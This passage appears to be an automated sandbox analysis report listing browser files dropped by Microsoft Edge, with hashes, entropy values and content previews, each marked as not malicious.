SHA-512:	1BFDF7E6574A2DA534265F8B6D8641CBC5E841FF445825E7E1634B70D40EC2D62016CBD34A0C739CD2F630A6587EA01B28CA9DA9534C9AD81E9B32CC49019AA5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.116400541602102
Encrypted:	false
SSDEEP:	192:styykdpgs08uIa34HkS2k8hbV+FyMQA48q7NIEPjYJ:stnQgs08uXTbGdQxv7NIV
MD5:	CC5A550E3CF8AEE90E2527785FCEC475
SHA1:	6F6391663589ED37832FC48500CD6E59FED3D189
SHA-256:	8FFF26D4154AFA18666002086AC56E9A915C1130E58DC089F9807129BC7C6E3B
SHA-512:	A34BF354AB7668769A61692050FF9B709A6C487E0D3B192B96534E6CB8AFFC0DA18FB3DA56E34643A9EF4152684076455D36BAA694023A97F14227139E7C56D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375549261057740","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2df98.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.116400541602102
Encrypted:	false
SSDEEP:	192:styykdpgs08uIa34HkS2k8hbV+FyMQA48q7NIEPjYJ:stnQgs08uXTbGdQxv7NIV
MD5:	CC5A550E3CF8AEE90E2527785FCEC475
SHA1:	6F6391663589ED37832FC48500CD6E59FED3D189
SHA-256:	8FFF26D4154AFA18666002086AC56E9A915C1130E58DC089F9807129BC7C6E3B
SHA-512:	A34BF354AB7668769A61692050FF9B709A6C487E0D3B192B96534E6CB8AFFC0DA18FB3DA56E34643A9EF4152684076455D36BAA694023A97F14227139E7C56D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375549261057740","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF31df9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.116400541602102
Encrypted:	false
SSDEEP:	192:styykdpgs08uIa34HkS2k8hbV+FyMQA48q7NIEPjYJ:stnQgs08uXTbGdQxv7NIV
MD5:	CC5A550E3CF8AEE90E2527785FCEC475
SHA1:	6F6391663589ED37832FC48500CD6E59FED3D189
SHA-256:	8FFF26D4154AFA18666002086AC56E9A915C1130E58DC089F9807129BC7C6E3B
SHA-512:	A34BF354AB7668769A61692050FF9B709A6C487E0D3B192B96534E6CB8AFFC0DA18FB3DA56E34643A9EF4152684076455D36BAA694023A97F14227139E7C56D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375549261057740","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF39b18.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.116400541602102
Encrypted:	false
SSDEEP:	192:styykdpgs08uIa34HkS2k8hbV+FyMQA48q7NIEPjYJ:stnQgs08uXTbGdQxv7NIV
MD5:	CC5A550E3CF8AEE90E2527785FCEC475
SHA1:	6F6391663589ED37832FC48500CD6E59FED3D189
SHA-256:	8FFF26D4154AFA18666002086AC56E9A915C1130E58DC089F9807129BC7C6E3B
SHA-512:	A34BF354AB7668769A61692050FF9B709A6C487E0D3B192B96534E6CB8AFFC0DA18FB3DA56E34643A9EF4152684076455D36BAA694023A97F14227139E7C56D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375549261057740","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558119738607714
Encrypted:	false
SSDEEP:	768:UTJz977pLGLpghWPisf+l8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/mfhnrwVaCpLt/:UTJz9NcpghWPisf+lu1jamCh0Vvt/
MD5:	326321AE7395EF80F74642F5BB1CDF9A
SHA1:	DB2E0F2D4BFA819D693A5C3BC15E1DDFA698DD13
SHA-256:	7D98F75871707D3C8DDB663A510C6FDBEBB6A16701088B6979960388A9BDB745
SHA-512:	58A3E122EB9BE9118E49B85C23BC5337BFE93CFC7E84AEB7A699CDD4A7D2B337A1F082E1DF2C30EFD9B1EDE41B171EE2491F07E26B1564D90F154205D78A06B0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375549259049968","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375549259049968","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2dfa8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558119738607714
Encrypted:	false
SSDEEP:	768:UTJz977pLGLpghWPisf+l8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/mfhnrwVaCpLt/:UTJz9NcpghWPisf+lu1jamCh0Vvt/
MD5:	326321AE7395EF80F74642F5BB1CDF9A
SHA1:	DB2E0F2D4BFA819D693A5C3BC15E1DDFA698DD13
SHA-256:	7D98F75871707D3C8DDB663A510C6FDBEBB6A16701088B6979960388A9BDB745
SHA-512:	58A3E122EB9BE9118E49B85C23BC5337BFE93CFC7E84AEB7A699CDD4A7D2B337A1F082E1DF2C30EFD9B1EDE41B171EE2491F07E26B1564D90F154205D78A06B0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375549259049968","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375549259049968","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF319e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558119738607714
Encrypted:	false
SSDEEP:	768:UTJz977pLGLpghWPisf+l8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/mfhnrwVaCpLt/:UTJz9NcpghWPisf+lu1jamCh0Vvt/
MD5:	326321AE7395EF80F74642F5BB1CDF9A
SHA1:	DB2E0F2D4BFA819D693A5C3BC15E1DDFA698DD13
SHA-256:	7D98F75871707D3C8DDB663A510C6FDBEBB6A16701088B6979960388A9BDB745
SHA-512:	58A3E122EB9BE9118E49B85C23BC5337BFE93CFC7E84AEB7A699CDD4A7D2B337A1F082E1DF2C30EFD9B1EDE41B171EE2491F07E26B1564D90F154205D78A06B0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375549259049968","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375549259049968","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.833726541664403
Encrypted:	false
SSDEEP:	24:F2xc5NmaLcncmo0CRORpllg2D2fRHibVdCRORpllg24mI0zKCRORpllg2DZRHibG:F2emRtrdD2fBYXrdlI0KrdDZBNwrdiBt
MD5:	E9C1D51010C46863942489553CC5223A
SHA1:	46D95F7BDAF628369049395EEE0661CB96F7869E
SHA-256:	922A9CAB4127C9E7AD13DDFF27E85B92905B923AA990865CF550137661F2AAE3
SHA-512:	02CF9799EFB701F70E2B9F8E3A227952AD15F14F7EDC6A405976FF05FC0C9E1C85C31758A771FEE8D46DCF2F9168426D5F279AC8D339BCDECB95C40280D6E4BB
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..7.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.142930137258834
Encrypted:	false
SSDEEP:	6:H0k1CHhJ23oH+TcwtE/a252KLlV0GZtDM+q2PCHhJ23oH+TcwtE/a2ZIFUv:fYeb8xLfnDM+vBYeb8J2FUv
MD5:	F1D02221248BD4BF84E137BAD27BCCF8
SHA1:	007AE50B68549DF635E2681BC9166033AB137314
SHA-256:	A9B7F5FC1A0B8B77FFBAB55D30803A3A0B5A6586883FD965E77E4F354148375D
SHA-512:	EF5CAF4E060913A89E9F008385FE11C277C6187EC5FE8FA97A90076CBE58703EBEC3536D8E96D48C3340D98787BAFEB114A4C144D25D66F12F4484ED363BF71D
Malicious:	false
Preview:	2024/11/08-09:21:14.142 1efc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/08-09:21:14.156 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113558
Entropy (8bit):	5.57937706690822
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlCMWC3W/BL/rDL/rbi:f9LyxPXfOrr1lMe1z6rWSQABL/HL/K
MD5:	38EEA7CD354242D308F2E4E57B24321D
SHA1:	36E3DD0738C8173164386B77FC1297828CCAB907
SHA-256:	2379EC62B12B95E03C93C820381F211CAC310E033FBF461A67E884B675932587
SHA-512:	7226E9260FA4F03E3E3CE95EAF86F23606736EB76CE84E182C1896B8DF09EDB427386AAC02490B24813B70D6162A7BE9C862FCAC5D966ADCC3D8B7DEA14D3215
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187729
Entropy (8bit):	6.381965630809333
Encrypted:	false
SSDEEP:	3072:Rl8gfzic1NEFk5GDwvDiU/FqmJ2dFGI7vPugElNL/PSXCoC4vd:YgQDwPFXwb7Hug0L/Kg4vd
MD5:	A49DA57CF12EBC7D2DAC8EE932ABBED5
SHA1:	3D85E6D1C7A638FC3FD5D6F9949E515E04444158
SHA-256:	3099DC09097DE7FCF94FF23717C3B0E8A6CFE74118972CACE5885C62B69D697F
SHA-512:	1D04BE767C63F7BE7E0BE510F404E987A882BD83CE99A1C54BEB7A73B4BCCB63A976DC6166F425FF52169FBE3109614FC7A84E2F9CE8F0F2412978048C315141
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc.n......exports...Rc........module....RcF.?H....define....Rb.@%%....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..Q..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:ZUyXl/lc/lxEwltXLRn:BnQx9
MD5:	A80706BE34255573ACFD44FDF9A00099
SHA1:	E0F8C604F26DAB0BC80CAF8F164784ECC1BC54B5
SHA-256:	EE5C3B9AAC2F43EE9D11571A02D0DD005EDC76BD9F98009189D31992D53B698B
SHA-512:	1E3B483A2C448B22C456D4101B9698C99E36507FAC6A4E375E52E804EDAF9559560BC55AC37AF839C5A451506337AF47712FACABD5940E282BA913FCC71F4FD3
Malicious:	false
Preview:	@...l...oy retne.........................X....,................q_2.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:ZUyXl/lc/lxEwltXLRn:BnQx9
MD5:	A80706BE34255573ACFD44FDF9A00099
SHA1:	E0F8C604F26DAB0BC80CAF8F164784ECC1BC54B5
SHA-256:	EE5C3B9AAC2F43EE9D11571A02D0DD005EDC76BD9F98009189D31992D53B698B
SHA-512:	1E3B483A2C448B22C456D4101B9698C99E36507FAC6A4E375E52E804EDAF9559560BC55AC37AF839C5A451506337AF47712FACABD5940E282BA913FCC71F4FD3
Malicious:	false
Preview:	@...l...oy retne.........................X....,................q_2.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF31500.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:ZUyXl/lc/lxEwltXLRn:BnQx9
MD5:	A80706BE34255573ACFD44FDF9A00099
SHA1:	E0F8C604F26DAB0BC80CAF8F164784ECC1BC54B5
SHA-256:	EE5C3B9AAC2F43EE9D11571A02D0DD005EDC76BD9F98009189D31992D53B698B
SHA-512:	1E3B483A2C448B22C456D4101B9698C99E36507FAC6A4E375E52E804EDAF9559560BC55AC37AF839C5A451506337AF47712FACABD5940E282BA913FCC71F4FD3
Malicious:	false
Preview:	@...l...oy retne.........................X....,................q_2.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5479
Entropy (8bit):	3.4404005670067903
Encrypted:	false
SSDEEP:	96:GEGK+l/JSYiRx2s6n41epPC9Xp+RH+divZ5bjLl9iSr/1Inz3+LXp:G7lQYiRxz6n4g09Xp+hqiR5bjLl9iSrl
MD5:	4A6EAE8D67D23CB9DE39467FDB343F64
SHA1:	5BFC15B451EE45365D1EBCA66B7B63195A782867
SHA-256:	2D86CE3C31C6DC00175E699CBD78A9EB16E5EDB5DCFD5D890BE478FDA380FD69
SHA-512:	806B4FC2AC4ABBB8EEFEA609EDD4A78D596B82CCB4E360C3D6A395EAEC6EF9148B19FD9957E2E3083540AB4C2154652B35F99582AFD5085BAD98096A2D5C5F2B
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................kb................next-map-id.1.Cnamespace-43e302e2_2cb3_4b18_9b2b_3004fe977b40-https://ntp.msn.com/.0~{$."................map-0-shd_sweeper.'{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.m.m.s.-.s.c.-.s.c._.c.o.n.3.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.q.r.t.3.,.p.r.g.-.1.s.w.-.s.a.-.i.m.g.e.m.b.v.4.t.r.e.t.b.,.p.r.e.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.4.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.p.r.g.-.1.s.w.-.t.r.d.i.s.c.l.o.2.,.p.r.g.-.1.s.w.-.t.r.d.i.s.c.l.o.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.t.,.p.r.g.-.1.s.w.-.l.d.n.y.-.t.r.a.n.s.i.t.,.t.p.s.n.-.p.r.g.l.d.n.g.-.t.,.p.r.g.-.1.s.w.-.t.p.s.n.p.g.1.,.t.p.s.n.-.p.r.g.l.d.n.g.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.r.o.u.t.e.r.g.r.a.p.h.p.r.o.d.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.e.n.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.077915709717708
Encrypted:	false
SSDEEP:	6:H0VSVEoMq2PCHhJ23oH+TcwtrQMxIFUt8Y0VSVvARFZZmw+Y0VSVCzkwOCHhJ23X:DJMvBYebCFUt8ivARFZ/+iCz56YebtJ
MD5:	80C54C9FFEE6EB9C204D3A13863220CD
SHA1:	460151D526E263F8E59D8466AC8D623B2AAFA19C
SHA-256:	9548138F5C8552807465F0829C92D3084AA3D1BACAB002F375134F1087283944
SHA-512:	74DA96F9CFD229D321E0B1E30F2A1B7F4479C125955DA2D1CECF1A778B8EFB405207CDC7A2E73C3A60D58B5F9158AFAD5F6E923ECE7A1A780F7FF6C9F6432D43
Malicious:	false
Preview:	2024/11/08-09:21:01.010 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/08-09:21:01.011 1ce4 Recovering log #3.2024/11/08-09:21:01.013 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.077915709717708
Encrypted:	false
SSDEEP:	6:H0VSVEoMq2PCHhJ23oH+TcwtrQMxIFUt8Y0VSVvARFZZmw+Y0VSVCzkwOCHhJ23X:DJMvBYebCFUt8ivARFZ/+iCz56YebtJ
MD5:	80C54C9FFEE6EB9C204D3A13863220CD
SHA1:	460151D526E263F8E59D8466AC8D623B2AAFA19C
SHA-256:	9548138F5C8552807465F0829C92D3084AA3D1BACAB002F375134F1087283944
